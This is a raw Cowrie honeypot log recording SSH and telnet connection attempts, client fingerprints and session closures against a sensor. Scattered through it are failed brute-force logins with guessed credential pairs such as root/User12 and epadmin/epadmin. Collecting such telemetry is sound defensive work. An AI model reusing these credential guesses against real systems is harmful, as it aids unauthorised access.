{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:01.362547Z","src_ip":"213.209.159.158","session":"7eadfe47ec58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.309630870819092,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:01.704049Z","src_ip":"38.54.119.93","session":"ef532e3a0e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.03729748725891,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:02.474169Z","src_ip":"65.60.27.33","session":"d2cc14320269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80571961402893,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:02.578443Z","src_ip":"62.210.97.77","session":"ccbebcae49a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.16376495361328,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:03.768815Z","src_ip":"165.232.131.181","session":"13168bc7c19b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.28816819190979,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:04.664679Z","src_ip":"65.60.27.33","session":"a936b3909319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05225658416748,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:05.671499Z","src_ip":"65.60.27.33","session":"e1a8de137450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.68931341171265,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:05.715738Z","src_ip":"165.232.131.181","session":"639958772ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.50553560256958,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:08.104732Z","src_ip":"65.60.27.33","session":"4d49b99fe631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.9604549407959,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:08.466551Z","src_ip":"62.210.97.77","session":"afa09f03c44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47792,"dst_ip":"10.17.0.5","dst_port":23,"session":"8640070fcc24","protocol":"telnet","message":"New connection: 165.232.131.181:47792 (10.17.0.5:23) [session: 8640070fcc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:09.226792Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48702,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a634d78d1e1","protocol":"telnet","message":"New connection: 62.210.97.77:48702 (10.17.0.5:23) [session: 6a634d78d1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:09.328879Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48714,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea2772b31b44","protocol":"telnet","message":"New connection: 62.210.97.77:48714 (10.17.0.5:23) [session: ea2772b31b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:09.726324Z"}
{"eventid":"cowrie.session.closed","duration":36.950568199157715,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:10.503628Z","src_ip":"62.210.97.77","session":"def57b82dffa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"userroot!","message":"login attempt [root/userroot!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:11.115395Z","src_ip":"213.209.159.158","session":"7eadfe47ec58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.31676506996155,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:12.356829Z","src_ip":"62.210.97.77","session":"ad4ba078bd7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48728,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7649dcf8dc","protocol":"telnet","message":"New connection: 62.210.97.77:48728 (10.17.0.5:23) [session: fb7649dcf8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:13.702662Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:14.264022Z","src_ip":"213.209.159.158","session":"7eadfe47ec58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13642,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ed7d6babb9","protocol":"ssh","message":"New connection: 213.209.159.158:13642 (10.17.0.5:22) [session: 59ed7d6babb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:14.358177Z"}
{"eventid":"cowrie.session.closed","duration":37.773040533065796,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:16.184255Z","src_ip":"65.60.27.33","session":"c7f4d9f6b34a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.999693393707275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:16.417117Z","src_ip":"62.210.97.77","session":"4e762c003a89","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:16.888878Z","src_ip":"213.209.159.158","session":"59ed7d6babb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:16.892712Z","src_ip":"213.209.159.158","session":"59ed7d6babb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.239211320877075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:17.290606Z","src_ip":"62.210.97.77","session":"f52842fbb121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.23691153526306,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:19.864961Z","src_ip":"165.232.131.181","session":"9e3e7b346900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76585865020752,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:20.425047Z","src_ip":"62.210.97.77","session":"87f0cc838a0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06674575805664,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:20.976774Z","src_ip":"62.210.97.77","session":"11af08c33bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd05af1b9fa0","protocol":"telnet","message":"New connection: 62.210.97.77:49198 (10.17.0.5:23) [session: bd05af1b9fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:22.676010Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22fb404f2d3","protocol":"telnet","message":"New connection: 38.54.119.93:50752 (10.17.0.5:23) [session: c22fb404f2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:23.038493Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"User12","message":"login attempt [root/User12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:26.123916Z","src_ip":"213.209.159.158","session":"59ed7d6babb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":30111,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c4ebe61150","protocol":"ssh","message":"New connection: 89.218.69.66:30111 (159.203.135.109:22) [session: f3c4ebe61150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:29.440389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:29.445192Z","src_ip":"89.218.69.66","session":"f3c4ebe61150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:29.615387Z","src_ip":"89.218.69.66","session":"f3c4ebe61150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:29.827297Z","src_ip":"213.209.159.158","session":"59ed7d6babb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36024,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c264f88c23f","protocol":"ssh","message":"New connection: 213.209.159.158:36024 (10.17.0.5:22) [session: 3c264f88c23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:29.907011Z"}
{"eventid":"cowrie.session.closed","duration":45.682066917419434,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:30.059627Z","src_ip":"38.54.119.93","session":"6017e8dbbcdd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"epadmin","password":"epadmin","message":"login attempt [epadmin/epadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:30.791786Z","src_ip":"89.218.69.66","session":"f3c4ebe61150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:31.966940Z","src_ip":"89.218.69.66","session":"f3c4ebe61150","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:32.190491Z","src_ip":"213.209.159.158","session":"3c264f88c23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:32.194366Z","src_ip":"213.209.159.158","session":"3c264f88c23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"637ec66b75fe","protocol":"telnet","message":"New connection: 38.54.119.93:56738 (10.17.0.5:23) [session: 637ec66b75fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:32.262247Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50066,"dst_ip":"10.17.0.5","dst_port":23,"session":"2903752379e0","protocol":"telnet","message":"New connection: 65.60.27.33:50066 (10.17.0.5:23) [session: 2903752379e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:33.115182Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51000,"dst_ip":"10.17.0.5","dst_port":23,"session":"eab4df9514ba","protocol":"telnet","message":"New connection: 65.60.27.33:51000 (10.17.0.5:23) [session: eab4df9514ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:33.851128Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56950,"dst_ip":"10.17.0.5","dst_port":23,"session":"d65db231ee87","protocol":"telnet","message":"New connection: 165.232.131.181:56950 (10.17.0.5:23) [session: d65db231ee87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:33.967332Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51778,"dst_ip":"10.17.0.5","dst_port":23,"session":"5667621b9d94","protocol":"telnet","message":"New connection: 62.210.97.77:51778 (10.17.0.5:23) [session: 5667621b9d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:35.264969Z"}
{"eventid":"cowrie.session.closed","duration":5.224265813827515,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:38.339321Z","src_ip":"65.60.27.33","session":"2903752379e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60118,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c49509f73d9","protocol":"telnet","message":"New connection: 165.232.131.181:60118 (10.17.0.5:23) [session: 3c49509f73d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:39.951775Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vagrant5","message":"login attempt [root/vagrant5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:41.383004Z","src_ip":"213.209.159.158","session":"3c264f88c23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17528939247131,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:43.901514Z","src_ip":"62.210.97.77","session":"ea2772b31b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:44.644960Z","src_ip":"213.209.159.158","session":"3c264f88c23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e5555b8e43","protocol":"ssh","message":"New connection: 213.209.159.158:40694 (10.17.0.5:22) [session: d6e5555b8e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:44.723375Z"}
{"eventid":"cowrie.session.closed","duration":33.18439173698425,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:46.886917Z","src_ip":"62.210.97.77","session":"fb7649dcf8dc","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:46.974511Z","src_ip":"213.209.159.158","session":"d6e5555b8e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:46.978334Z","src_ip":"213.209.159.158","session":"d6e5555b8e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.658477783203125,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:47.987228Z","src_ip":"62.210.97.77","session":"6a634d78d1e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"166b1d5dc4eb","protocol":"telnet","message":"New connection: 62.210.97.77:43574 (10.17.0.5:23) [session: 166b1d5dc4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:51.755690Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36600,"dst_ip":"10.17.0.5","dst_port":23,"session":"37164611df10","protocol":"telnet","message":"New connection: 165.232.131.181:36600 (10.17.0.5:23) [session: 37164611df10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:54.408743Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43590,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe48f6550cda","protocol":"telnet","message":"New connection: 62.210.97.77:43590 (10.17.0.5:23) [session: fe48f6550cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:54.555355Z"}
{"eventid":"cowrie.session.closed","duration":32.55898404121399,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:31:55.234905Z","src_ip":"62.210.97.77","session":"bd05af1b9fa0","protocol":"telnet"}
